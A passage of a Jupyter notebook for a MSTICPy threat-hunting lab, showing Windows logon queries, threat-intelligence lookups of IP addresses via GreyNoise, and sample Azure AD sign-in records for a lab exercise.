       "0         Advapi            5                 Negotiate          \n",
       "1         NtLmSsp           3                      NTLM          \n",
       "2         NtLmSsp           3                      NTLM          \n",
       "3         NtLmSsp           3                      NTLM          \n",
       "4         NtLmSsp           3                      NTLM          \n",
       "\n",
       "         IpAddress WorkstationName          TimeCreatedUtc  \n",
       "0                -               - 2019-02-12 04:56:34.307  \n",
       "1  131.107.147.209  IANHELLE-DEV17 2019-02-12 04:37:25.340  \n",
       "2  131.107.147.209  IANHELLE-DEV17 2019-02-12 04:37:27.997  \n",
       "3  131.107.147.209  IANHELLE-DEV17 2019-02-12 04:38:16.550  \n",
       "4  131.107.147.209  IANHELLE-DEV17 2019-02-12 04:38:21.370  "
      ]
     },
     "execution_count": 9,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# First we are going to use a built in query to get all of our signin data from our Windows host\n",
    "data = qry_prov.WindowsSecurity.list_host_logons()\n",
    "data.head()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "MSTICPy includes a [Threat Intelligence (TI) lookup provider](https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html) `TILookup` that allow for key indicators to be searched for in various different services. The provider can be configured to use a range of different providers, and queries can be specifically targeted at a provider if required.\n",
    "MSTICPY current supports the following providers:\n",
    "- VirusTotal\n",
    "- AlienVault OTX\n",
    "- IBM XForce\n",
    "- GreyNoise\n",
    "- Microsoft Sentinel Threat Intelligence\n",
    "\n",
    "There is also support via the TI lookup provider to get the [Open Page Rank](https://www.domcop.com/openpagerank/what-is-openpagerank#:~:text=What%20Is%20Open%20PageRank%3F%20The%20Open%20PageRank%20initiative,has%20been%20collected%20over%20the%20last%207%20years) for a domain, and determine if an IP address is a [ToR]( https://www.torproject.org/) exit node.<br>\n",
    "\n",
    "When instantiating a TI provider you can define the providers you want it to load, or you can let it search for a [MSTICPy config file](https://msticpy.readthedocs.io/en/latest/getting_started/msticpyconfig.html) and take configuration from there - this is the approach we are taking in this lab."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 10,
   "metadata": {},
   "outputs": [],
   "source": [
    "# Next we need to load our TI providers\n",
    "ti = TILookup()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "`.loaded_providers` shows which providers have been loaded by the TI lookup provider."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 11,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "ChainMap({}, {'GreyNoise': <msticpy.sectools.tiproviders.greynoise.GreyNoise object at 0x0000014A2D275880>})"
      ]
     },
     "execution_count": 11,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# For this lab we are just using the GreyNoise provider\n",
    "ti.loaded_providers"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Once loaded you can use `lookup_ioc` to look up a single indicator, or `lookup_iocs` to lookup up a every value in a dataframe column.<br>\n",
    "\n",
    "In this example we want to look up every IP address in our results dataframe, so we are going to use `lookup_iocs`, tell it to look up values in the \"IpAddress\" column, and use the GreyNoise service to do the lookups.<br>\n",
    "\n",
    "Once we have results you can look either display the results statically or use `browse_results` to get an interactive view of the results."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 12,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "3b299bcec926448185bc5b96e1d5cc25",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "VBox(children=(Text(value=\"131.107.147.209                          type: ipv4        (sev: high)  providers: …"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<hr>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<h2 style='border: 1px solid;background-color: DarkGray; padding: 6px'>131.107.147.209</h2><h3 style='background-color: SteelBlue; padding: 6px'>Type: 'ipv4', Provider: GreyNoise, severity: high</h3><h4>Details</h4>\n",
       "<style>\n",
       "    .tb_ti_res {border-collapse: collapse; width: 60%; border: 1px solid #ddd !important;}\n",
       "    .cell_ti {border: 1px solid #ddd !important;\n",
       "        text-align: left !important; padding: 5px !important; height: 12px}\n",
       "    .cell_ti_first {border: 1px solid #ddd !important; width: 25%;\n",
       "        text-align: left !important; padding: 5px !important; height: 12px}\n",
       "</style>\n",
       "<table class='tb_ti_res'><tr class='cell_ti'><td class='cell_ti_first'>GreyNoise</td><tr class='cell_ti'><td class='cell_ti_first'>Classification</td><td class='cell_ti'>malicious</td></tr><tr class='cell_ti'><td class='cell_ti_first'>Name</td><td class='cell_ti'>unknown</td></tr><tr class='cell_ti'><td class='cell_ti_first'>Last Seen</td><td class='cell_ti'>2022-03-30</td></tr><tr class='cell_ti'><td class='cell_ti_first'>Message</td><td class='cell_ti'>Success</td></tr><tr class='cell_ti'><td class='cell_ti_first'>Noise</td><td class='cell_ti'>True</td></tr><tr class='cell_ti'><td class='cell_ti_first'>RIOT</td><td class='cell_ti'>False</td></tr></tr></table><h4>Reference: </h4><a href='https://api.greynoise.io/v3/community/131.107.147.209'>https://api.greynoise.io/v3/community/131.107.147.209</a><br><hr><h4>Raw Results</h4>\n",
       "        <details>\n",
       "        <summary> <u>Raw results from provider...</u></summary>\n",
       "        <pre  style=\"font-size:11px\">{'classification':&nbsp;'malicious',<br>&nbsp;'ip':&nbsp;'131.107.147.209',<br>&nbsp;'last_seen':&nbsp;'2022-03-30',<br>&nbsp;'link':&nbsp;'https://viz.greynoise.io/ip/131.107.147.209',<br>&nbsp;'message':&nbsp;'Success',<br>&nbsp;'name':&nbsp;'unknown',<br>&nbsp;'noise':&nbsp;True,<br>&nbsp;'riot':&nbsp;False}</pre>\n",
       "        </details>\n",
       "        "
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "from msticpy.nbtools import ti_browser\n",
    "\n",
    "# Here we lookup each of the IP addresses in our dataset\n",
    "results = ti.lookup_iocs(data, obs_col=\"IpAddress\", providers=[\"GreyNoise\"])\n",
    "ti_browser.browse_results(results, severities=[\"information\", \"warning\", \"high\"])"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<div class=\"alert alert-block alert-success\">\n",
    "<h3>Lab Exercise 2</h3>\n",
    "Now that you have seen how to return and enrich data complete the code in the following two cells to get a list of Azure AD sign in events and look the origin IP addresses against threat intelligence.<br>\n",
    "\n",
    "Additional documentation on the threat intelligence provider can be found [here](https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html)\n",
    "\n",
    "<details>\n",
    "    <summary>Hint:</summary>\n",
    "    <ul>\n",
    "        <li>Remember to pass `obs_col=\"IPAddress\"` to `lookup_iocs` to get lookups on the correct column</li>\n",
    "        <li>You can reuse the TI provider assigned to `ti` in the cells above</li>\n",
    "    </ul>\n",
    "</details>\n",
    "</div>\n",
    "    \n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 13,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TenantId</th>\n",
       "      <th>SourceSystem</th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>ResourceId</th>\n",
       "      <th>OperationName</th>\n",
       "      <th>OperationVersion</th>\n",
       "      <th>Category</th>\n",
       "      <th>ResultType</th>\n",
       "      <th>ResultSignature</th>\n",
       "      <th>ResultDescription</th>\n",
       "      <th>DurationMs</th>\n",
       "      <th>CorrelationId</th>\n",
       "      <th>Resource</th>\n",
       "      <th>ResourceGroup</th>\n",
       "      <th>ResourceProvider</th>\n",
       "      <th>Identity</th>\n",
       "      <th>Level</th>\n",
       "      <th>Location</th>\n",
       "      <th>AlternateSignInName</th>\n",
       "      <th>AppDisplayName</th>\n",
       "      <th>AppId</th>\n",
       "      <th>AuthenticationDetails</th>\n",
       "      <th>AuthenticationMethodsUsed</th>\n",
       "      <th>AuthenticationProcessingDetails</th>\n",
       "      <th>AuthenticationRequirement</th>\n",
       "      <th>...</th>\n",
       "      <th>NetworkLocationDetails</th>\n",
       "      <th>OriginalRequestId</th>\n",
       "      <th>ProcessingTimeInMilliseconds</th>\n",
       "      <th>RiskDetail</th>\n",
       "      <th>RiskEventTypes</th>\n",
       "      <th>RiskEventTypes_V2</th>\n",
       "      <th>RiskLevelAggregated</th>\n",
       "      <th>RiskLevelDuringSignIn</th>\n",
       "      <th>RiskState</th>\n",
       "      <th>ResourceDisplayName</th>\n",
       "      <th>ResourceIdentity</th>\n",
       "      <th>ServicePrincipalId</th>\n",
       "      <th>ServicePrincipalName</th>\n",
       "      <th>Status</th>\n",
       "      <th>TokenIssuerName</th>\n",
       "      <th>TokenIssuerType</th>\n",
       "      <th>UserAgent</th>\n",
       "      <th>UserDisplayName</th>\n",
       "      <th>UserId</th>\n",
       "      <th>UserPrincipalName</th>\n",
       "      <th>AADTenantId</th>\n",
       "      <th>Type</th>\n",
       "      <th>Result</th>\n",
       "      <th>Latitude</th>\n",
       "      <th>Longitude</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>ab86c959-1ba3-495c-a00d-ced30d8825d3</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>19:04.4</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td>NaN</td>\n",
       "      <td>0</td>\n",
       "      <td>c4b4ea3c-58ff-4e0e-b5b0-d2ea01cce380</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>NaN</td>\n",
       "      <td>CTFUser3</td>\n",
       "      <td>4</td>\n",
       "      <td>US</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>c44b4083-3bb0-49c1-b47d-974e53cbdf3c</td>\n",
       "      <td>[]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>[]</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>[]</td>\n",
       "      <td>f05079ed-f820-4531-ab26-498b53af3800</td>\n",
       "      <td>366</td>\n",
       "      <td>none</td>\n",
       "      <td>[]</td>\n",
       "      <td>[]</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Service Management API</td>\n",
       "      <td>797f4846-ba00-4fd7-ba43-dac1f8f63013</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td>NaN</td>\n",
       "      <td>AzureAD</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.404...</td>\n",
       "      <td>CTFUser3</td>\n",
       "      <td>acc49186-e946-4f6c-85af-669807da0e0f</td>\n",
       "      <td>ctfuser3@seccxp.ninja</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>42.997181</td>\n",
       "      <td>-86.848312</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>ab86c959-1ba3-495c-a00d-ced30d8825d3</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>32:44.8</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td>NaN</td>\n",
       "      <td>0</td>\n",
       "      <td>d5ef0f81-318f-4881-8df1-8415aab77d1a</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Zack Von</td>\n",
       "      <td>4</td>\n",
       "      <td>US</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>c44b4083-3bb0-49c1-b47d-974e53cbdf3c</td>\n",
       "      <td>[]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>[]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>...</td>\n",
       "      <td>[]</td>\n",
       "      <td>121dca00-0930-40fe-9b69-bbc1e33c3500</td>\n",
       "      <td>394</td>\n",
       "      <td>none</td>\n",
       "      <td>[]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Service Management API</td>\n",
       "      <td>797f4846-ba00-4fd7-ba43-dac1f8f63013</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td>NaN</td>\n",
       "      <td>AzureAD</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.404...</td>\n",
       "      <td>Zack Von</td>\n",
       "      <td>2566a1a6-4d03-40d2-8836-6c8cf1ce517f</td>\n",
       "      <td>zvon@seccxp.ninja</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>48.614380</td>\n",
       "      <td>-121.110313</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>ab86c959-1ba3-495c-a00d-ced30d8825d3</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>32:44.8</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td>NaN</td>\n",
       "      <td>0</td>\n",
       "      <td>d5ef0f81-318f-4881-8df1-8415aab77d1a</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Zack Von</td>\n",
       "      <td>4</td>\n",
       "      <td>US</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>c44b4083-3bb0-49c1-b47d-974e53cbdf3c</td>\n",
       "      <td>[]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>[]</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>[]</td>\n",
       "      <td>121dca00-0930-40fe-9b69-bbc1e33c3500</td>\n",
       "      <td>394</td>\n",
       "      <td>none</td>\n",
       "      <td>[]</td>\n",
       "      <td>[]</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Service Management API</td>\n",
       "      <td>797f4846-ba00-4fd7-ba43-dac1f8f63013</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td>NaN</td>\n",
       "      <td>AzureAD</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.404...</td>\n",
       "      <td>Zack Von</td>\n",
       "      <td>2566a1a6-4d03-40d2-8836-6c8cf1ce517f</td>\n",
       "      <td>zvon@seccxp.ninja</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>48.614380</td>\n",
       "      <td>-121.110313</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>ab86c959-1ba3-495c-a00d-ced30d8825d3</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>19:04.4</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td>NaN</td>\n",
       "      <td>0</td>\n",
       "      <td>c4b4ea3c-58ff-4e0e-b5b0-d2ea01cce380</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>NaN</td>\n",
       "      <td>CTFUser3</td>\n",
       "      <td>4</td>\n",
       "      <td>US</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>c44b4083-3bb0-49c1-b47d-974e53cbdf3c</td>\n",
       "      <td>[]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>[]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>...</td>\n",
       "      <td>[]</td>\n",
       "      <td>f05079ed-f820-4531-ab26-498b53af3800</td>\n",
       "      <td>366</td>\n",
       "      <td>none</td>\n",
       "      <td>[]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Service Management API</td>\n",
       "      <td>797f4846-ba00-4fd7-ba43-dac1f8f63013</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td>NaN</td>\n",
       "      <td>AzureAD</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.404...</td>\n",
       "      <td>CTFUser3</td>\n",
       "      <td>acc49186-e946-4f6c-85af-669807da0e0f</td>\n",
       "      <td>ctfuser3@seccxp.ninja</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>42.997181</td>\n",
       "      <td>-86.848312</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>ab86c959-1ba3-495c-a00d-ced30d8825d3</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>05:35.8</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td>NaN</td>\n",
       "      <td>0</td>\n",
       "      <td>bf124019-b325-4a4a-81ff-6c2823461620</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>NaN</td>\n",
       "      <td>CTFUser3</td>\n",
       "      <td>4</td>\n",
       "      <td>US</td>\n",
       "      <td>NaN</td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>c44b4083-3bb0-49c1-b47d-974e53cbdf3c</td>\n",
       "      <td>[]</td>\n",
       "      <td>NaN</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"key\": \"Login Hint Present\",\\r\\n    \"value\": \"True\"\\r\\n  }\\r\\n]</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>[]</td>\n",
       "      <td>39f36cc7-ad3e-430c-bf78-bc96fbc33300</td>\n",
       "      <td>553</td>\n",
       "      <td>none</td>\n",
       "      <td>[]</td>\n",
       "      <td>[]</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Service Management API</td>\n",
       "      <td>797f4846-ba00-4fd7-ba43-dac1f8f63013</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td>NaN</td>\n",
       "      <td>AzureAD</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safa...</td>\n",
       "      <td>CTFUser3</td>\n",
       "      <td>acc49186-e946-4f6c-85af-669807da0e0f</td>\n",
       "      <td>ctfuser3@seccxp.ninja</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>41.465630</td>\n",
       "      <td>-73.610718</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "<p>5 rows × 62 columns</p>\n",
       "</div>"
      ],
      "text/plain": [
       "                               TenantId SourceSystem TimeGenerated  \\\n",
       "0  ab86c959-1ba3-495c-a00d-ced30d8825d3     Azure AD       19:04.4   \n",
       "1  ab86c959-1ba3-495c-a00d-ced30d8825d3     Azure AD       32:44.8   \n",
       "2  ab86c959-1ba3-495c-a00d-ced30d8825d3     Azure AD       32:44.8   \n",
       "3  ab86c959-1ba3-495c-a00d-ced30d8825d3     Azure AD       19:04.4   \n",
       "4  ab86c959-1ba3-495c-a00d-ced30d8825d3     Azure AD       05:35.8   \n",
       "\n",
       "                                                                 ResourceId  \\\n",
       "0  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "1  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "2  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "3  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "4  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "\n",
       "      OperationName  OperationVersion    Category  ResultType ResultSignature  \\\n",
       "0  Sign-in activity                 1  SignInLogs           0            None   \n",
       "1  Sign-in activity                 1  SignInLogs           0            None   \n",
       "2  Sign-in activity                 1  SignInLogs           0            None   \n",
       "3  Sign-in activity                 1  SignInLogs           0            None   \n",
       "4  Sign-in activity                 1  SignInLogs           0            None   \n",
       "\n",
       "  ResultDescription  DurationMs                         CorrelationId  \\\n",
       "0               NaN           0  c4b4ea3c-58ff-4e0e-b5b0-d2ea01cce380   \n",
       "1               NaN           0  d5ef0f81-318f-4881-8df1-8415aab77d1a   \n",
       "2               NaN           0  d5ef0f81-318f-4881-8df1-8415aab77d1a   \n",
       "3               NaN           0  c4b4ea3c-58ff-4e0e-b5b0-d2ea01cce380   \n",
       "4               NaN           0  bf124019-b325-4a4a-81ff-6c2823461620   \n",
       "\n",
       "           Resource     ResourceGroup  ResourceProvider  Identity  Level  \\\n",
       "0  Microsoft.aadiam  Microsoft.aadiam               NaN  CTFUser3      4   \n",
       "1  Microsoft.aadiam  Microsoft.aadiam               NaN  Zack Von      4   \n",
       "2  Microsoft.aadiam  Microsoft.aadiam               NaN  Zack Von      4   \n",
       "3  Microsoft.aadiam  Microsoft.aadiam               NaN  CTFUser3      4   \n",
       "4  Microsoft.aadiam  Microsoft.aadiam               NaN  CTFUser3      4   \n",
       "\n",
       "  Location AlternateSignInName AppDisplayName  \\\n",
       "0       US                 NaN   Azure Portal   \n",
       "1       US                 NaN   Azure Portal   \n",
       "2       US                 NaN   Azure Portal   \n",
       "3       US                 NaN   Azure Portal   \n",
       "4       US                 NaN   Azure Portal   \n",
       "\n",
       "                                  AppId AuthenticationDetails  \\\n",
       "0  c44b4083-3bb0-49c1-b47d-974e53cbdf3c                    []   \n",
       "1  c44b4083-3bb0-49c1-b47d-974e53cbdf3c                    []   \n",
       "2  c44b4083-3bb0-49c1-b47d-974e53cbdf3c                    []   \n",
       "3  c44b4083-3bb0-49c1-b47d-974e53cbdf3c                    []   \n",
       "4  c44b4083-3bb0-49c1-b47d-974e53cbdf3c                    []   \n",
       "\n",
       "   AuthenticationMethodsUsed  \\\n",
       "0                        NaN   \n",
       "1                        NaN   \n",
       "2                        NaN   \n",
       "3                        NaN   \n",
       "4                        NaN   \n",
       "\n",
       "                                                   AuthenticationProcessingDetails  \\\n",
       "0                                                                               []   \n",
       "1                                                                               []   \n",
       "2                                                                               []   \n",
       "3                                                                               []   \n",
       "4  [\\r\\n  {\\r\\n    \"key\": \"Login Hint Present\",\\r\\n    \"value\": \"True\"\\r\\n  }\\r\\n]   \n",
       "\n",
       "    AuthenticationRequirement  ... NetworkLocationDetails  \\\n",
       "0  singleFactorAuthentication  ...                     []   \n",
       "1                         NaN  ...                     []   \n",
       "2  singleFactorAuthentication  ...                     []   \n",
       "3                         NaN  ...                     []   \n",
       "4  singleFactorAuthentication  ...                     []   \n",
       "\n",
       "                      OriginalRequestId ProcessingTimeInMilliseconds  \\\n",
       "0  f05079ed-f820-4531-ab26-498b53af3800                          366   \n",
       "1  121dca00-0930-40fe-9b69-bbc1e33c3500                          394   \n",
       "2  121dca00-0930-40fe-9b69-bbc1e33c3500                          394   \n",
       "3  f05079ed-f820-4531-ab26-498b53af3800                          366   \n",
       "4  39f36cc7-ad3e-430c-bf78-bc96fbc33300                          553   \n",
       "\n",
       "  RiskDetail RiskEventTypes RiskEventTypes_V2  RiskLevelAggregated  \\\n",
       "0       none             []                []                 none   \n",
       "1       none             []               NaN                 none   \n",
       "2       none             []                []                 none   \n",
       "3       none             []               NaN                 none   \n",
       "4       none             []                []                 none   \n",
       "\n",
       "  RiskLevelDuringSignIn RiskState                   ResourceDisplayName  \\\n",
       "0                  none      none  Windows Azure Service Management API   \n",
       "1                  none      none  Windows Azure Service Management API   \n",
       "2                  none      none  Windows Azure Service Management API   \n",
       "3                  none      none  Windows Azure Service Management API   \n",
       "4                  none      none  Windows Azure Service Management API   \n",
       "\n",
       "                       ResourceIdentity ServicePrincipalId  \\\n",
       "0  797f4846-ba00-4fd7-ba43-dac1f8f63013                NaN   \n",
       "1  797f4846-ba00-4fd7-ba43-dac1f8f63013                NaN   \n",
       "2  797f4846-ba00-4fd7-ba43-dac1f8f63013                NaN   \n",
       "3  797f4846-ba00-4fd7-ba43-dac1f8f63013                NaN   \n",
       "4  797f4846-ba00-4fd7-ba43-dac1f8f63013                NaN   \n",
       "\n",
       "  ServicePrincipalName            Status  TokenIssuerName TokenIssuerType  \\\n",
       "0                  NaN  {'errorCode': 0}              NaN         AzureAD   \n",
       "1                  NaN  {'errorCode': 0}              NaN         AzureAD   \n",
       "2                  NaN  {'errorCode': 0}              NaN         AzureAD   \n",
       "3                  NaN  {'errorCode': 0}              NaN         AzureAD   \n",
       "4                  NaN  {'errorCode': 0}              NaN         AzureAD   \n",
       "\n",
       "                                                                                             UserAgent  \\\n",
       "0  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.404...   \n",
       "1  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.404...   \n",
       "2  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.404...   \n",
       "3  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.404...   \n",
       "4  Mozilla/5.0 (Windows NT 10.0; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safa...   \n",
       "\n",
       "  UserDisplayName                                UserId  \\\n",
       "0        CTFUser3  acc49186-e946-4f6c-85af-669807da0e0f   \n",
       "1        Zack Von  2566a1a6-4d03-40d2-8836-6c8cf1ce517f   \n",
       "2        Zack Von  2566a1a6-4d03-40d2-8836-6c8cf1ce517f   \n",
       "3        CTFUser3  acc49186-e946-4f6c-85af-669807da0e0f   \n",
       "4        CTFUser3  acc49186-e946-4f6c-85af-669807da0e0f   \n",
       "\n",
       "       UserPrincipalName                           AADTenantId        Type  \\\n",
       "0  ctfuser3@seccxp.ninja  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  SigninLogs   \n",
       "1      zvon@seccxp.ninja  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  SigninLogs   \n",
       "2      zvon@seccxp.ninja  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  SigninLogs   \n",
       "3  ctfuser3@seccxp.ninja  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  SigninLogs   \n",
       "4  ctfuser3@seccxp.ninja  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  SigninLogs   \n",
       "\n",
       "   Result   Latitude   Longitude  \n",
       "0  Sucess  42.997181  -86.848312  \n",
       "1  Sucess  48.614380 -121.110313  \n",
       "2  Sucess  48.614380 -121.110313  \n",
       "3  Sucess  42.997181  -86.848312  \n",
       "4  Sucess  41.465630  -73.610718  \n",
       "\n",
       "[5 rows x 62 columns]"
      ]
     },
     "execution_count": 13,
     "metadata": {},
     "output_type": "execute_result"
    }
